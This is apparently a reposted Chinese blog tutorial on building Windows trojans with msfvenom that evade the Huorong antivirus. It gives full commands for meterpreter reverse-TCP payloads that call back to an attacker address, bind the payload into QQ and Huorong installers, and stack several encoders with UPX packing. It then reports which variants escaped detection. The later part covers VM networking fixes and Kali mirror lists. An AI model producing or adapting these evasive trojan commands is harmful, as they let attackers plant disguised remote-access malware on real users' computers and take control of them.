目的:制作一个能够绕过火绒检测的简单木马,熟悉一下怎么使用msfvenom制作木马,因此此处使用的火绒版本较低。
工具准备:火绒安全-3.0.42.0
下载文章:火绒历史全版本
百度网盘链接:https://pan.baidu.com/s/1ZrpYG63aDtQDVBnDFZoeXw
提取码:kr72
实验环境:kali-2019.4 (攻击方,IP:192.168.255.130)、win10(靶机)
【知识补充】
关于Msfvenom:
(msfvenom ----a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.)
是用来生成后门的软件,在目标机上执行,在本地机上监听上线。
MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。
关于免杀: 其实就是使制作的木马免于杀毒软件查杀的意思。技术实现方面由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等技术,内容基本上都是修改病毒、木马的内容改变特征码,从而躲避杀毒软件的查杀。
1.使用kali自带工具Msfvenom制作 木马
这里使用6种不同方法进行木马制作
方式1)直接生成裸露的木马
在kali虚拟机上终端输入命令直接生成一个裸漏的木马:
msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.255.130 lport=4444 -f exe -o /root/Desktop/csdn.exe
上面参数意思:
-a
--arch < architecture>
指定payload的目标架构,例如x86 还是 x64 还是 x86_64
-p
--payload < payload>
指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
lhost指定shell返回的地址lport指定shell返回的端口-f--format < format> 指定输出格式-o--out < path> 指定创建好的payload的存放位置
补充:Msfvenom介绍及利用 内含参数介绍
能看到桌面上生成了一个 csdn.exe 的可执行程序
方式2)生成木马捆绑在正常的安装包上并进行MSF编码使其具备免杀能力
在 Meatsploit 框架下免杀的方式之一就是使用MSF编码器。其功能是对攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。MSF 编码器可以将原可执行程序重新编码,生成一个新的二进制文件,这个文件运行以后,MSF 编码器会将原始程序解码到内存中并执行。
在1)的基础上增加了两个参数,一个是捆绑一个是进行MSF编码
MSF编码方式有很多种,查看方式 msfvenom -l encoders
级别中评得上excellent的只有
cmd/powershell_base64
x86/shikata_ga_nai (接下来使用这种方式编码)
先在kali上随便下载一个软件的安装包,我这里是QQ安装包
下载到桌面
进入桌面:cd /root/Desktop
然后执行命令生成 Windows环境下的木马、并捆绑到QQ9.5.9.28650.exe文件上,同时对进行捆绑后生成的木马文件QQ.Installer.exe进行x86/shikata_ga_nai 编码方式的进行免杀处理:
(了解:Meatsploit 自带了用于捆绑木马的程序模板,其位置在
data/templates/template.exe
)
msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.255.130 lport=4444 -e x86/shikata_ga_nai -x QQ9.5.9.28650.exe -i 12 -f exe -o /root/Desktop/csdn.exe
参数意思:
-e:指定编码方式对攻击载荷进行重新编码
-x:指定木马捆绑在哪个可执行程序模版上
-i:指定对目标进行编码的次数,多次编码理论上来讲有助于免杀
生成的木马
方式3)生成木马并进行UPX加壳------加壳失败
upx 打包器的原理非常简单,就是将可执行文件中的代码和数据进行压缩,然后将解压缩用的代码附加在前面,运行的时候先将原本的可执行数据解压出来,然后再运行解压缩后的数据。打包器的本质目的是反调试,防止逆向工程,而这里使用打包器的目的是为了改变后门程序的特征码。
upx
可查看UPX简略参数介绍,要是想看详细介绍 upx --help
将刚刚第二种方法生成的木马复制一份,对复制的那份进行upx加壳处理
upx QQ.Installer.1.exe
此种方法失败了。QQ.Installer.1.exe 实际上与QQ.Installer.exe是一样的
失败原因可能是原.exe文件太小,upx压缩失败。
方式4)使用多次编码
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.1.113 LPORT=3333 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -f exe -o csdn2.0.exe
方式5)使用多次编码再进行upx加壳
可直接复制法4的木马直接进行加壳
将新的csdn2.0.exe改名为csdn2.0.upx.exe 以作区分
方式6)多次编码并捆绑火绒的可执行程序
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.1.113 LPORT=3333 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x sysdiag-full-4.0.81.0.exe -k -f exe > csdn2.exe
2.再在win10上验证查看它们的免杀能力
注意点:火绒安全要在断网状态下进行病毒查杀,不然可能会更新病毒库。
使用共享文件夹传到本机
使用火绒安全进行病毒查杀结果:
前面5种方式全被查出,第6种避免了查杀。
3.后续操作----本地机上监听上线
由于本人用的主机win10而非虚拟机,故在此不进行实践操作
后续操作参考:https://blog.csdn.net/qq_47639375/article/details/106270239
问题1:虚拟机无法连接网络
我的kali不能联网,当前WMware下别的虚拟机都可正常联网,并且都是net模式
问题解决方案:kali linux网络配置之NAT模式
这里我不想更改为桥接模式,其实改成桥接模式也能联网,并且虚拟机和主机互能ping通。
问题2:将.exe文件传输到靶机
由于需要传送文件,我选择安装VMware tools 工具
我的重新安装VMware Tools是灰色的,解决方法参考vmware下Kali解决灰字无法安装VMware Tools
上面方法搞到一半失败了
最终参考
kali2019与win10主机间不能文件互通,我以为安装VMware-tools就可以了。但是在新版本中,VMware自带的vmware-tools已经没效果,官方建议是安装open-vm-tools-desktop来代替其跟物理机交互,所以以下是安装open-vm-tools-desktop的详细教程。
Kali 2019安装Open-Vm-Tools-Desktop
上面总是会有问题,最终很白痴的方法,更新VMware版本,安装kali2021.4版本虚拟机。安装好后就拍了快照,以便后期再出现问题的时候一键恢复。
问题3:中间虚拟机出现了问题,卸载重装了很多遍都没用,最后更新了VMware版本到16版,再次安装kali2019.4时出现了问题
kali2019.4超详(luo)细(suo)安装教程和中文乱码的解决
apt-get update报错
解决方法: 刚安装好的kali2019更新源报错问题解决
关于kali2019.4的更新源 (任意选择其中一组就可用,我选的清华源)
#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#浙大
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
最后最后,上面安装的虚拟机在 apt-get update 之后的 apt-get upgrade
报错,原因找了很久,发现可能是因为kali版本和VMware版本相差太远以至于update的包安装覆盖之类的问题导致报错。-----然后我重新下载了iso镜像,kali2021.4版本。结果upgrade还是有问题,甚至还upgrade之后莫名其妙连不上网络。无法解决问题,于是又重装了一遍---傻瓜万能解决方法。等以后深入学习了再找问题的原因。学习到了apt update ,apt upgrade 和 apt dist-upgrade 的区别
Linux kali开启端口、关闭防火墙方法
后记
还需寻找别的方法制作免杀木马,捆绑查杀工具的方式避免检测不保险。
补充:之后还试了先生成.c文件再用VS2019进行编码,生成解决方案得到木马,也没通过火绒检测。
看到有别的编码方式,用工具,用VC++,
先生成.py文件,用工具 py2exe将.py文件转换为.exe文件。
-----我之后又试了电脑管家检测,发现除了捆绑的火绒的那个木马没被检测到外,那两个捆绑QQ的也没被检测出来,哼哼,不愧是Tencent啊~
关于制作木马,还想尝试的方法
利用kali Linux使用meterpreter制作免杀木马测试入侵windows电脑
Kali木马免杀,权限提升(kali本地木马免杀)
UPX源码分析——加壳篇
在线杀毒 (www.virustotal.com)
VirusTotal,是一个提供免费的可疑文件分析服务的网站。2004年6月由创始人Hispasec Sistemas创立。它与传统杀毒软件的不同之处是它通过多种反病毒引擎(包含360、腾讯、微软、赛门铁克等)扫描文件,使用多种反病毒引擎对您所上传的文件进行检测, 以判断文件是否被病毒, 蠕虫, 木马, 以及各类恶意软件感染。这样大大减少了杀毒软件误杀或未检出病毒的几率,其检测率优于使用单一产品。
检测:
多次编码捆绑火绒-------法6生成的木马
.c文件通过VisualStudio2019编译形成的.exe--------补充里的方法
多次编码未加壳-----------法4生成的木马
多次编码加壳-----------法5生成的木马
.py 用Py2exe生成 .exe ----- 补充里的方法
.py 用Py2exe生成 .exe 用7zip压缩 ---------- 补充里的方法
版权归原作者 洇玖 所有, 如有侵权,请联系我们删除。